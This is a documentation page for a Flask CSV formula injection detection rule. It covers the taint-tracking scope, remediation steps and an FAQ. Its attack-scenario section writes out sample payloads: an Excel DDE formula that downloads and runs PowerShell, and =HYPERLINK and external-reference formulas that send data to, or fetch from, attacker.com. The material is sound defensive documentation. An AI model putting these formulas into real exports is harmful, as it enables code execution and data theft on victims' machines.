Flask CSV Injection

MEDIUM

User input from Flask request parameters flows to csv.writer.writerow() or writerows() without formula character sanitization. Strip or escape leading =, +, -, @ characters to prevent spreadsheet formula injection.

Rule Information

Language
Python
Category
Flask
Author
Shivasurya
Shivasurya
Last Updated
2026-03-22
Tags
pythonflaskcsv-injectionformula-injectionspreadsheet-injectioncross-fileinter-proceduraltaint-analysisCWE-1236OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset python/PYTHON-FLASK-SEC-009 --project .
1
2
3
4
5
6
7
8
9
10
11
12
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

About This Rule

Understanding the vulnerability and how it is detected

This rule detects CSV injection (also known as formula injection or spreadsheet injection) in Flask applications where user-controlled input from HTTP request parameters flows to csv.writer.writerow() or csv.writer.writerows() without stripping spreadsheet formula trigger characters.

CSV files generated by Flask applications are frequently downloaded and opened in Microsoft Excel, LibreOffice Calc, or Google Sheets. When a CSV cell value begins with =, +, -, or @, spreadsheet applications interpret it as a formula rather than data. An attacker who supplies a value like =HYPERLINK("http://evil.com","Click") or =cmd|'/C calc'!A0 (the DDE payload for Excel) causes the formula to execute when the victim opens the CSV file -- potentially launching applications, making DNS lookups, or stealing data through the hyperlink callback.

The rule traces tainted data from Flask request sources through variable assignments and function calls to the row data argument of csv.writer.writerow() and writerows() at position 0. Since there is no standard Python sanitizer for CSV formula injection, the fix requires explicit data validation: check whether the first character of each string cell value is a formula trigger character and either reject the input or prefix it with a single quote to prevent formula interpretation.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

Remote Code Execution via Excel DDE Formulas

Excel's Dynamic Data Exchange (DDE) feature can be triggered via CSV formulas. A payload like =cmd|'/C powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(url)"'!A0 in a CSV cell executes arbitrary PowerShell when a victim opens the file in Excel with DDE enabled. This is a client-side RCE delivered through a server-generated CSV export endpoint.

2

Data Exfiltration via Hyperlink Callbacks

The =HYPERLINK("http://attacker.com/exfil?data="&A1,"click") formula sends cell contents from adjacent cells to the attacker's server when the victim clicks the hyperlink or in some Excel versions when the file opens. User data, including other exported fields in the same CSV row, can be exfiltrated this way.

3

Phishing via Deceptive Cell Content

Formula injection can display deceptive content in cells that appears legitimate when rendered: =IF(1,"Verified Account",""). An attacker exports a report that appears to show "Verified Account" status for a row they control, manipulating business decisions based on the fraudulent CSV export.

4

Persistence via External References

Spreadsheet formulas can reference external workbooks: ='http://attacker.com/payload.xlsx'!A1. When the victim opens the CSV, Excel fetches the external workbook, executing any macros it contains. This is a persistence mechanism that operates outside the Flask application after the initial CSV download.

How to Fix

Recommended remediation steps

  • 1Before writing any user-supplied string value to a CSV row, check if the first character is =, +, -, or @ and either reject the input or prefix it with a tab character or single quote to prevent formula interpretation.
  • 2Use the defusedcsv library (a drop-in replacement for Python's csv module) which automatically sanitizes formula injection characters.
  • 3Validate user input at the point of collection (request parameter parsing) to reject inputs that begin with formula trigger characters if such characters are not valid for the field.
  • 4Set the Content-Disposition: attachment header on CSV responses to prevent browsers from rendering them inline, ensuring they are downloaded as files.
  • 5Consider generating XLSX files using openpyxl instead of CSV -- XLSX files do not execute formulas from text cell values by default.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

Scope: global (cross-file taint tracking across the entire project). Sources: Flask HTTP input methods -- request.args.get(), request.form.get(), request.values.get(), request.get_json() -- all of which can deliver strings beginning with formula trigger characters (=, +, -, @). Sinks: csv.writer.writerow() and csv.writer.writerows(). The .tracks(0) parameter targets the row data argument at position 0 -- the list or iterable of cell values that csv.writer serializes into the CSV output. Any cell in the row that contains a tainted string triggers the finding. Sanitizers: None are defined for this rule because no standard Python function is recognized as a CSV formula sanitizer. The fix requires explicit application-level sanitization logic that checks for and neutralizes leading formula trigger characters before the value reaches the csv.writer call. The rule traces tainted values from request parameters through variable assignments, list construction, and cross-file function calls to the writerow/writerows sink.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

OWASP Top 10
A03:2021 - Injection (formula injection is a form of injection into a data format)
CWE Top 25
CWE-1236 -- Improper Neutralization of Formula Elements in CSV
PCI DSS v4.0
Requirement 6.2.4 -- prevent injection attacks including data format injection
NIST SP 800-53
SI-10: Information Input Validation -- validate all inputs including export fields
ISO 27001
A.14.2.5 -- secure system engineering principles including output encoding

References

External resources and documentation

Similar Rules

Explore related security rules for Python

Frequently Asked Questions

Common questions about Flask CSV Injection

CSV injection is client-side -- the actual exploit happens when the victim opens the file in Excel or Calc, not on the server. This makes it easy to underestimate. In practice, CSV exports from business applications contain sensitive data (user lists, transaction records, financial reports) and are opened by executives, accountants, and administrators -- high-value targets whose machines have access to sensitive systems. A DDE payload in a CSV export from your Flask app is a phishing vector with your application's credibility attached to it.
No. Python's csv module handles CSV syntax (quoting commas, newlines, quotes) but has no concept of spreadsheet formula characters. It will write =DANGEROUS() to a CSV cell exactly as provided. The sanitization must be done by the application before passing values to csv.writer.
defusedcsv is a wrapper around Python's csv module that automatically prefixes formula trigger characters (=, +, -, @) with a tab character. It is a drop-in replacement: replace import csv with import defusedcsv as csv and existing code works without changes. It is the lowest-effort fix for this vulnerability.
A tab prefix (\t) in a CSV cell value becomes part of the cell string when loaded in Excel or Calc. The cell displays as " value" with a leading space (or tab, depending on rendering). For most export use cases this is acceptable. For display-sensitive exports, use a single quote prefix instead -- Excel strips the leading quote and displays the cell as plain text without the quote character.
Microsoft Excel (all versions with DDE enabled), LibreOffice Calc (BASIC macros via formulas), and Google Sheets (hyperlink formulas, some formula execution). The exact capabilities vary by application version and configuration, but the =HYPERLINK() exfiltration vector works across all three. Excel with DDE enabled is the most dangerous target.
If every field that could contain user-supplied text is validated against a strict allowlist that excludes =, +, -, and @ as leading characters, the injection vector is closed for those fields. The rule only triggers on paths where tainted input actually reaches csv.writer. If your validation happens before the data enters the tainted flow, there should be no finding.
Supply =HYPERLINK("http://example.com","test") as a CSV field value through the API or form, download the resulting CSV, and open it in Excel or LibreOffice Calc. If the cell shows the literal text (with a leading tab or quote) rather than a clickable hyperlink, the sanitization is effective. Also test =1+1 to verify arithmetic formulas are not evaluated.

New feature

Get these findings posted directly on your GitHub pull requests

The Flask CSV Injection rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works